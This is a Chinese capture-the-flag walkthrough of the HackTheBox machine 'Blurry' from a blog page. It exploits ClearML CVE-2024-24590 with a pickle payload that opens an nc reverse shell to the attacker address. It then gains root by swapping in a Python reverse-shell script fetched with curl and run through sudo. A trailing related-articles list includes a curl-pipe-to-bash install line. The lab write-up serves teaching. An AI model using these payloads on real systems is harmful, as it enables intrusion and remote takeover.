htb_Blurry

在这里插入图片描述
端口扫描
在这里插入图片描述
80
在这里插入图片描述
按照教程注册安装clear ml
在这里插入图片描述
加载configuration的时候会报错
在这里插入图片描述
将json里的API,File Store的host都添加到/etc/hosts中

在这里插入图片描述

即可成功初始化
在这里插入图片描述
查找clear ml漏洞
发现一个cve-2024-24590
在这里插入图片描述

下面是一个利用脚本,但不能直接用
ClearML-vulnerability-exploit-RCE-2024-CVE-2024-24590-/exploit.py at main · LordVileOnX/ClearML-vulnerability-exploit-RCE-2024-CVE-2024-24590- (github.com)

查看All Experiments
有一个Review JSON Artifacts脚本
观察可知这个脚本会定时循环运行
在这里插入图片描述
以下是脚本代码,关键地方都做了注释
总而言之就是该脚本会检查所有标记为"review"的项目名为"Black Swan"的任务
如果artifact是dict类型,就会将其反序列化

# !/usr/bin/python3from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient#打印出传入的字典data中的所有键值对
def process_json_artifact(data, artifact_name):"""Process a JSON artifact represented as a Python dictionary.Print all key-value pairs contained in the dictionary."""print(f"[+] Artifact '{artifact_name}' Contents:")for key, value in data.items():print(f" - {key}: {value}")#接收一个task
def process_task(task):artifacts = task.artifacts#遍历task的所有artifacts#if 是dict,调用process_json_artifactfor artifact_name, artifact_object in artifacts.items():data = artifact_object.get()if isinstance(data, dict):process_json_artifact(data, artifact_name)else:print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")def main():#初始化ClearML任务review_task = Task.init(project_name="Black Swan",task_name="Review JSON Artifacts",task_type=Task.TaskTypes.data_processing)# Retrieve tasks tagged for review#检索所有标记为"review"的项目名为"Black Swan"的任务tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)if not tasks:print("[!] No tasks up for review.")returnthreads = []# 如果有任务,脚本将为每个任务创建一个进程,调用process_task函数来处理任务中的工件for task in tasks:print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")p = Process(target=process_task, args=(task,))p.start()threads.append(p)task.set_archived(True)for thread in threads:thread.join(60)if thread.is_alive():thread.terminate()# Mark the ClearML task as completedreview_task.close()def cleanup():client = APIClient()tasks = client.tasks.get_all(system_tags=["archived"],only_fields=["id"],order_by=["-last_update"],page_size=100,page=0,)# delete and cleanup tasksfor task in tasks:# noinspection PyBroadExceptiontry:deleted_task = Task.get_task(task_id=task.id)deleted_task.delete(delete_artifacts_and_models=True,skip_models_used_by_other_tasks=True,raise_on_error=False)except Exception as ex:continueif __name__ == "__main__":main()cleanup()

以下是反弹shell的payload

from clearml import Task
import pickle, osclass Common:def __reduce__(self):command = f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.21 1234 >/tmp/f'return (os.system, (command,))instance = Common()
#common = pickle.dumps(instance)
mydict = {'com_artifact': instance}task = Task.init(project_name='Black Swan', task_name='cctask', tags=["review"])
task.upload_artifact(name='cc', artifact_object=mydict, retries=2, wait_on_upload=True, extension_name=".pkl")

成功反弹
sudo -l 发现有sudo权限
在这里插入图片描述

以下是evaluate_model脚本

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.if [ "$#" -ne 1 ]; then/usr/bin/echo "Usage: $0 <path_to_model.pth>"exit 1
fiMODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  /usr/bin/mkdir -p "$TEMP_DIR"file_type=$(/usr/bin/file --brief "$MODEL_FILE")# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then# POSIX tar archive (older PyTorch format)/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then# Zip archive (newer PyTorch format)/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"exit 2
fi/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; dofickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."/bin/rm "$MODEL_FILE"breakfi
done/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"if [ -f "$MODEL_FILE" ]; then/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"fi
  1. #!/bin/bash:这是一个shebang行,告诉系统这个脚本应该使用Bash解释器来执行。 2-4. 注释:解释脚本的功能和安全检查。 5-7. 参数检查:脚本检查是否传入了一个参数(模型文件的路径)。如果没有传入参数,打印用法信息并退出。
  2. MODEL_FILE="$1":将脚本的第一个参数(模型文件的路径)赋值给变量MODEL_FILE
  3. TEMP_DIR="/models/temp":设置一个临时目录的路径,用于存放解压的模型文件。
  4. PYTHON_SCRIPT="/models/evaluate_model.py":设置用于评估模型的Python脚本的路径。
  5. /usr/bin/mkdir -p "$TEMP_DIR":创建临时目录,如果目录已存在则不做任何操作。
  6. file_type=$(/usr/bin/file --brief "$MODEL_FILE"):使用file命令检查模型文件的类型,并将其存储在变量file_type中。 16-21.
    文件类型检查:根据file_type的值,判断模型文件是POSIX tar归档还是Zip归档,并使用相应的命令解压到临时目录。
    24-35.
    安全检查:使用find命令查找临时目录中所有的.pkl文件,然后对每个文件使用fickling工具进行安全检查。如果fickling的输出表明文件包含"OVERTLY_MALICIOUS"(极度恶意)的组件,则打印警告信息,删除模型文件,并中断循环。
    37-38. 清理临时文件:删除临时目录中的所有文件。
  7. 删除临时目录:如果临时目录为空,则删除该目录。 42-45. 如果模型文件通过了安全检查,打印安全确认信息,并使用指定的Python脚本进行模型评估。

上述evaluate_model可利用的地方大概只有最后使用evaluate_model.py对传入的.pth执行那一段
就是这个(其实我也不确定…)
在这里插入图片描述

传入的pth可控制,猜测可以修改pth的内容实现提权
但是我没做,因为不太懂这个…

后面回去查看models目录的权限,发现jippity对该目录有修改权限
在这里插入图片描述

虽然jippity用户对原本的evaluate_model.py没有修改权限,但是因为有目录权限,可以通过删除原本的evaluate_model.py,再传入新的evaluate_model.py对其进行覆盖

搞一个python的反弹shell
在这里插入图片描述

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.14.21",2222));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/sh")
rm evaluate_model.pycurl http://10.10.14.21:8899/evaluate_model.py -o evaluate_model.pysudo /usr/bin/evaluate_model /models/*.pth

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/30852.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

好用的linux一键换源脚本

最近发现一个好用的linux一键换源脚本&#xff0c;记录一下 官方链接 大陆使用 bash <(curl -sSL https://linuxmirrors.cn/main.sh)# github地址 bash <(curl -sSL https://raw.githubusercontent.com/SuperManito/LinuxMirrors/main/ChangeMirrors.sh) # gitee地址 …

从0开发一个Chrome插件:项目实战——下载管理插件

前言 这是《从0开发一个Chrome插件》系列的第十九篇文章,本系列教你如何从0去开发一个Chrome插件,每篇文章都会好好打磨,写清楚我在开发过程遇到的问题,还有开发经验和技巧。 专栏: 从0开发一个Chrome插件:什么是Chrome插件?从0开发一个Chrome插件:开发Chrome插件的必…

Linux基础命令大全(详解版)

Linux基础命令&#xff08;详解版&#xff09; 文章目录 Linux基础命令&#xff08;详解版&#xff09;1.Linux的目录结构**2.Linux路径的描述方式**3.Linux命令基础格式4.ls命令 隐藏文件、文件夹5.pwd命令6.cd命令 特殊路径符7.mkdir命令 文件操作命令8.touch命令9.cat命令10…

英伟达中国特供芯片降价背后:巨头与市场的较量

英伟达&#xff0c;这家曾经在人工智能芯片领域独领风骚的巨头&#xff0c;近期在中国市场遭遇了一些挑战。为了应对来自华为等中国本土企业的竞争&#xff0c;英伟达不得不采取降价策略&#xff0c;调整其专为中国市场打造的H20芯片价格&#xff0c;甚至低于华为的同类产品。这…

S级猫主食冻干测评出来了:希喂、K9、朗诺实测分享

对于许多宠物主人来说&#xff0c;一到挑选主食冻干就头疼。尽管主食冻干为猫咪带来的益处远超过普通猫粮&#xff0c;但其价格也相对较高。因此&#xff0c;许多宠物主人担心高价购买的主食冻干营养价值并不高。实际上&#xff0c;除了营养&#xff0c;安全性和配方也是选购时…

【K8s】专题五(5):Kubernetes 配置之热更新工具 Reloader

以下内容均来自个人笔记并重新梳理&#xff0c;如有错误欢迎指正&#xff01;如果对您有帮助&#xff0c;烦请点赞、关注、转发&#xff01;欢迎扫码关注个人公众号&#xff01; 目录 一、基本介绍 二、工作原理 三、部署方法 四、使用方法 一、基本介绍 Reloader 是一个用…

数学物理专题复习

1.&#xff08;上册&#xff09;Page 2-2-10&#xff1a;2.3.3 三维射线方程&#xff08;即从Fermat 原理出 发导出三维射线追踪方程&#xff0c;用变分方法&#xff09; 射线方程为&#xff1a; x x ( τ ) xx(\tau) xx(τ)&#xff0c;则 d s ∣ x ˙ ( τ ) ∣ d τ ds|…

系统安全!

&#xff08;脆弱性&#xff09;是对信息系统弱点的总称&#xff0c;是风险分析中最重要的环节信息系统安全风险评估是信息安全保障体系建立过程中重要的评价方法和决策机制信息系统安全管理按照“三同步”原则&#xff0c;既同步设计、同步建设、同步运行业务连续性管理是一个…

clickhouse学习笔记(四)库、表、分区相关DDL操作

目录 一、数据库操作 1、创建数据库 2、查询及选择数据库 3、删除数据库 二、数据表操作 1、创建表 2、删除表 3、基本操作 ①追加新字段 ②修改字段类型或默认值 ③修改字段注释 ④删除已有字段 ⑤移动数据表&#xff08;重命名&#xff09; ⑥清空表 三、默认值…

位运算定义以及几种常见的位运算符。

位运算&#xff08;Bit Manipulation&#xff09;是直接在整数的二进制位上进行的操作。这些操作包括设置、清除、切换、检查、移动和比较二进制位。位运算在计算机科学中非常重要&#xff0c;因为它们通常比算术运算更快&#xff0c;且对于内存和硬件级别的操作非常有用。 以…

双层循环和循环语句

echo 打印 echo -n 表示不换行输出 echo -e 表示输出转义字符 echo \b 相当于退格键&#xff08;backspace&#xff09; echo \n 换行&#xff0c;相当于回车 echo \f 换行&#xff0c;换行后的新行的开头连着上一行的行尾 echo \t 相当于tab健 &#xff08;…

华测监测预警系统2.2 UserEdit.aspx SQL注入致RCE漏洞复现(CVE-2023-5827)

0x01 产品简介 华测监测预警系统2.2是一套针对地质灾害监测预警的科学、完善平台,实现了地质灾害防治管理的科学化、信息化、标准化和可视化。该系统由上海华测导航技术有限公司开发,主要服务于山体滑坡、地裂缝等地质灾害的自动化预警。 0x02 漏洞概述 华测监测预警系统2…

AIGC工具的使用测评

一、引言 随着人工智能技术的飞速发展&#xff0c;AIGC&#xff08;Artificial Intelligence Generated Content&#xff09;工具作为生成式人工智能的重要应用之一&#xff0c;受到了广泛关注。本次测评旨在详细评估AIGC工具的功能、性能、使用体验及其在实际应用中的效果&am…

【Android】Android 项目里面为啥有两个地方设置Gradle

问题描述 通常&#xff0c;在项目的根目录下的 build.gradle 文件中配置。例如&#xff1a; buildscript {repositories {google()jcenter()}dependencies {classpath com.android.tools.build:gradle:3.1.3} }然后还有在位于项目根目录下的 gradle/wrapper/gradle-wrapper.p…

【IDEA】扩大虚拟机栈空间操作

输入命令参数-Xss 要更改的空间大小

宝塔板面有哪些优势

哈喽呀&#xff0c;大家好呀&#xff0c;淼淼又来和大家见面啦&#xff0c;在当今数字化时代&#xff0c;随着云计算和互联网技术的飞速发展&#xff0c;服务器管理成为了许多企业和个人开发者不可或缺的一部分。然而&#xff0c;传统服务器管理方式的复杂性和技术门槛往往令初…

查询mysql库表的几个语句

1、查询某个数据库的所有表 SELECTtable_name FROMinformation_schema.TABLES WHEREtable_schema database_namedatabase_name替换成你需要查询的数据库名称 2、查询某张表的所有字段名称 SELECTCOLUMN_NAME,column_comment FROMinformation_schema.COLUMNS WHEREtable…

Power BI 时间智能函数

一、基础知识 1&#xff0c;环比&#xff1a;MOM (Month over Month ) &#xff08;当前月金额- 上月金额&#xff09;/上月金额*100 2&#xff0c;同比&#xff1a;YOY (Year over Year ) &#xff08;当前月金额- 上一年金额&#xff09;/上一年金额*100 3&#xff0c;年…

华为HCIP Datacom H12-821 卷8

1.单选题 下面哪种属性必须存在于 BGP 的 Update 报文中? A、AS-PATH B、LOCAL-PREF C、MED D、PrefVal 正确答案: A 解析: 公认必须遵循(Well-knownmandatory):所有BGP设备都可以识别此类属性,且必须存在于Update报文中。如果缺少这类属性,路由信息就会出错。 BGP公认…

LeetCode 1164, 125, 94

目录 1164. 指定日期的产品价格题目链接表要求知识点思路代码 125. 验证回文串题目链接标签简单版思路代码 复杂版思路代码 94. 二叉树的中序遍历题目链接标签递归思路代码 迭代思路代码 1164. 指定日期的产品价格 题目链接 1164. 指定日期的产品价格 表 表Products的字段为…